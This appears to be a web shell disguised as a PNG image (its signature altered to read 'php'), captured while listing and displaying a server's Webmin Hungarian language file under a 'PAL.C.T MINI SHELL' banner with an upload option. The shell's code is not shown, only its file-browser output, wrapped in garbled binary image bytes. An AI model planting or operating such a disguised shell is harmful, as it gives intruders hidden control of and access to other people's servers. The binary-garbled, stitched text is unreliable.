‰php  IHDRwQ)Bæa pHYs  šœsRGBźÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ștw.“oàWpć§;—ł°QHZnwą`gaiJ’9Țˆ‰ŃÒ̟灙ûŸęÍaî=·nlŽ[ ÊšG܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îÄ žw€@âH܉;@ q$îúž·y H†Ż@E7j­Í 1j+OF„–€‹Rg}Ü«‘;@’E™Öač±ùáÓ~ ÿj`Ùuû'ož> ÙjĘ-$˜_§q?ŸqžSXzG'ćóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/webmin/lang/
upload
files >> //usr/libexec/webmin/webmin/lang/hu

index_title=Webmin beĂĄllĂ­tĂĄsa
index_return=a Webmin beĂĄllĂ­tĂĄsĂĄhoz

access_title=IP hozzåférés-vezérlés
access_desc=A Webmin kiszolgĂĄlĂł beĂĄllĂ­thatĂł Ășgy, hogy egyes IP cĂ­mekrƑl tiltja vagy engedĂ©lyezi a hozzĂĄfĂ©rĂ©st az alĂĄbbi Ʊrlap hasznĂĄlatĂĄval. Hostnevek (pl. foo.bar.com) Ă©s IP hĂĄlĂłzatok (pl. 10.254.3.0 vagy 10.254.1.0/255.255.255.128 vagay 2001:DB8::A0BC:0001 vagay 2001:DB8::/32) egyarĂĄnt megadhatĂłk. AjĂĄnlott korlĂĄtozni a gĂ©pĂ©hez törtĂ©nƑ hozzĂĄfĂ©rĂ©st megbĂ­zhatĂł cĂ­mekre, kĂŒlönösen ha az elĂ©rhetƑ az Internet-en keresztĂŒl, kĂŒlönben bĂĄrki, aki megsejti az Ön jelszavĂĄt, szabad kezet kap a rendszer irĂĄnyĂ­tĂĄsa felett.
access_header=Hozzåférés-vezérlés
access_all=EngedĂ©lyezĂ©s minden cĂ­mrƑl
access_allow=Csak a listĂĄban szereplƑ cĂ­mekrƑl engedĂ©lyezett
access_deny=Tiltás a listában szereplƑ címekrƑl
access_err=A hozzĂĄfĂ©rĂ©si lista frissĂ­tĂ©se nem sikerĂŒlt
access_enone=Nem lett cĂ­m megadva
access_enet='$1' egy érvénytelen hålózati cím
access_emask='$1' egy érvénytelen netmaszk
access_eip=A(z) '$1' nem teljes IP vagy hĂĄlĂłzati cĂ­m
access_ehost=Nem sikerĂŒlt IP cĂ­met talĂĄlni a(z) '$1' hosthoz.
access_eself=Az Ön jelenlegi IP cĂ­me ($1) vĂ©lhetƑleg le van tiltva.

bind_title=Port és Cím
bind_header=IP cím és port
bind_err=A cĂ­m megvĂĄltoztatĂĄsa nem sikerĂŒlt.

log_title=NaplĂłzĂĄs
log_desc=A Webmin beĂĄllĂ­thatĂł Ășgy, hogy lejegyezze a web kiszolgĂĄlĂł talĂĄlatait a szabvĂĄnyos CLF naplĂłfĂĄjl-formĂĄtumban. Ha a naplĂłzĂĄst bekapcsolja, akkor kivĂĄlaszthatja, hogy mely IP cĂ­meket vagy hostneveket kĂ­vĂĄn regisztrĂĄlni, illetve, hogy milyen gyakorisĂĄggal törlƑdjön a naplĂłfĂĄjl. Ha Ă©l a lehetƑsĂ©ggel, akkor a bejegyzĂ©sek a $1 fĂĄjlban fognak tĂĄrolĂłdni.
log_header=Web kiszolgĂĄlĂł naplĂłzĂĄs
log_disable=NaplĂłzĂĄs kikapcsolĂĄsa
log_enable=NaplĂłzĂĄs bekapcsolĂĄsa
log_resolv=Megfejtett hostnevek regisztrĂĄlĂĄsa
log_err=A naplĂłzĂĄsra vonatkozĂł opciĂłk elmentĂ©se nem sikerĂŒlt.
log_ehours='$1' nem megfelƑ szám óraszám

proxy_title=Proxy kiszolgĂĄlĂłk
proxy_desc=Ha a hoszt, amelyen a Webmin fut, tƱzfal mögött van, akkor lehet, hogy szĂŒksĂ©ges egy proxy kiszolgĂĄlĂł a web Ă©s FTP helyek hozzĂĄfĂ©rĂ©sĂ©hez. Egyes modulok, mint pĂ©ldĂĄul a <tt>Szoftver csomagok</tt>, hasznĂĄlni fogjĂĄk ezeket a proxy-kat fĂĄjlok vagy programok letöltĂ©sĂ©hez.
proxy_header=Proxy kiszolgĂĄlĂłk
proxy_http=HTTP proxy
proxy_ftp=FTP proxy
proxy_none=Nincs
proxy_nofor=Nincs proxy-hasznĂĄlat az alĂĄbbiakra:
proxy_err=A proxy-beĂĄllĂ­tĂĄs mentĂ©se nem sikerĂŒlt.

cs_page=Oldal håttér
cs_text=Normal szöveg
cs_table=Tåbla håttér
cs_header=Tåbla fejléc
cs_link=Link szöveg

mods_title=Webmin modulok
mods_desc1=TelepĂ­tĂ©s utĂĄn a Webminhez tovĂĄbbi modulok adhatĂłk a jobboldali Ʊrlappal. Az összetevƑk jellemzƑen <tt>.wbm</tt> fĂĄjlokban terjednek, amelyegy vagy több modult is tartalmazhat. Ha egy modul licensze olyan, hogy csakegy adott hosztrĂłl futhat, akkor azt nem telepĂ­theti. 
mods_install=Modul telepítése
mods_local=Helyi fĂĄjlbĂłl
mods_uploaded=Feltöltött fåjlból
mods_ftp=FTP vagy HTTP URL-rƑl
mods_installok=Modul telepítése fåjlból
mods_desc2=Ha ugyanarrĂłl a modulrĂłl szeretne egynĂ©l több mĂĄsolatot kĂ©szĂ­teni, de kĂŒlönbözƑ beĂĄllĂ­tĂĄsokkal, akkor a jobboldali Ʊrlappal lĂ©trehozhatja bĂĄrmely meglĂ©vƑ modul klĂłnjĂĄt. A klĂłnnak Ășj neve, Ășj beĂĄllĂ­tĂĄsai, Ășj hozzĂĄfĂ©rĂ©st vezĂ©rlƑ kapcsolĂłi ĂĄltal kĂŒlönbözƑ felhasznĂĄlĂłk szĂĄmĂĄra elĂ©rhetƑ lehet.
mods_clone=KlĂłn modul
mods_cname=KlĂłnozandĂł modul
mods_cnew=KlĂłnozott modul neve
mods_cloneok=Modul klĂłnozĂĄsa
mods_desc3=LĂ©tezƑ modulok Ă©s ezek klĂłnjai törölhetƑk az alĂĄbbi Ʊrlappal. Ha egy modul a klĂłnjaival egyĂŒtt törlƑdik, akkor teljesen eltĂŒnik a rendszerrƑl. Ha egy modul egyszer letörlƑdött, akkor Ășjra kell telepĂ­teni ahhoz, hogy Ășjra hasznĂĄlni lehessen. Egy modul nem törölhetƑ ha egy mĂĄsik rĂĄ Ă©pĂŒl.
mods_delete=Modulok törlése
mods_deleteok=Kivålasztott modulok törlése

install_err1=A(z) $1 fĂĄjbĂłl modul telepĂ­tĂ©s nem sikerĂŒlt
install_efile=A fåjl nem létezik
install_err2=A feltöltött modul telepĂ­tĂ©se nem sikerĂŒlt
install_ebrowser=Az Ön böngĂ©szƑje nem tĂĄmogatja a fĂĄjlok feltöltĂ©sĂ©t
install_err3=A(z) $1 cĂ­mrƑl a modultelepĂ­tĂ©s nem sikerĂŒlt
install_eurl=érvénytelen URL
install_etar=ÉrvĂ©nytelen modul fĂĄjl : $1
install_einfo=A(z) $1 modulhoz nincs module.info fĂĄjl
install_enone=A file nem tartalmaz modulokat
install_eos=A(z) $1 modul nem tĂĄmogatja ezt az operĂĄciĂłs rendszert ($2 $3)
install_ever=A(z) $1 modulhoz $2 vagy nagyobb verziĂłszĂĄmĂș Webmin szĂŒksĂ©ges
install_edep=A(z) $1 igényli a(z) $2 modult
install_eextract=A kicsomagolĂĄs nem sikerĂŒlt : $1
install_title=Modul telepítése
install_desc=Az alĂĄbbi modulok telepĂ­tĂ©se sikeresen befejezƑdött Ă©s hozzĂĄadĂłdtak  a hozzĂĄfĂ©rĂ©s-vezĂ©rlĂ©si listĂĄhoz :

clone_err=A modul klĂłnozĂĄsa nem sikerĂŒlt
clone_elink=sikertelen symlink : $1
clone_ecopy=a beĂĄlĂ­tĂĄs mĂĄsolĂĄsa nem sikerĂŒlt : $1
clone_desc=$1 klĂłnja

delete_err=A modulok törlĂ©se nem sikerĂŒlt
delete_edep=A(z) $1 modul nem törölhetƑ, mert a(z) $2 igĂ©nyli
delete_desc1=$1 ($2 klĂłnja)
delete_desc2=$1 in $2 ($3 kB)
delete_title=Modulok törlése
delete_msg=Az alĂĄbbi modulok a telepĂ­tett WebminbƑl sikeresen törlƑdtek :

os_title=OperĂĄciĂłs rendszer
os_header=A Hoszt OperĂĄciĂłs Rendszere
os_new=Új operációs rendszer

lang_title=Nyelvezet
lang_title2=Webmin nyelvezete
lang_lang=HasznĂĄlandĂł nyelv
lang_intro=Ezzel az oldallal beĂĄllĂ­thtaja, hogy a Webmin milyen nyelvet hasznĂĄljon a szövegcĂ­mek, parancssorok Ă©s ĂŒzenetek megjelenĂ­tĂ©sĂ©hez.
lang_ok=Nyelvezet vĂĄltoztatĂĄsa

ssl_title=SSL titkosĂ­tĂĄs
ssl_desc1=A hoszton, amelyen a Webmin fut, fellelhetƑ az SSLeay Perl modul telepĂ­tett vĂĄltozata. Ennek hasznĂĄlatĂĄval a Webmin tĂĄmogatni fogja a titkosĂ­tott kommunikĂĄciĂłt a böngĂ©szƑ Ă©s a kiszolgĂĄlĂł között. Ha Ön a Webmin kiszolgĂĄlĂłjĂĄt az Internet-en keresztĂŒl haszĂĄlja, akkor kĂŒlönösen ajĂĄnlott az SSL hasznĂĄlata, mellyel megakadĂĄlyozhatĂł egy esetleges tĂĄmadĂł abban, hogy elcsĂ­pje az Ön Webmin jelszavĂĄt.
ssl_desc2=Figyelem! Csak akkor kapcsolja be az SSL tĂĄmogatĂĄst, ha van olyan böngĂ©szƑje, amely tĂĄmogatja az SSL-t (mint pĂ©ldĂĄul a Netscape vagy az Internet Explorer), Ă©s nincs olyan tƱzfal, amely blokkolja a <b>https</b> kĂ©rĂ©seket az Ön böngĂ©szƑje Ă©s a Webmin hosztja között.
ssl_header=SSL tĂĄmogatĂĄs

startpage_title=Index oldali opciĂłk
startpage_tabs=KategorizĂĄlja a modulokat?
startpage_nocol=Oszlopok szĂĄma
startpage_alt=Alternatív fejléc hasznålata
startpage_ecols='$1' egy érvénytelen oszlopszåm
ß yôÊáœ~ŒorÀ5ÖJ™={țÁEÇêeŸu磝Qkź•áݘG{ś?ù»ă+—]üôçƒÉÍŚŚŸô?wûM3X^¶Ú歌>{Ž7ÙŸìŽKă>èoČÎnĘ\ÿȘÊjży·đR Łőăg/î=ȚÿfúOçÖr·oŚNVÊvżú~ÿY+üżNGêuśű·Ăź›țëčHWŠûyëwÆ[eQ¶ÊšŸSÚb­Ö>öÍËÇțł>ä}Gçmx[o[<ȚÚ{đęŸÏź_ĆïqF– ÚÛvMIENDźB`‚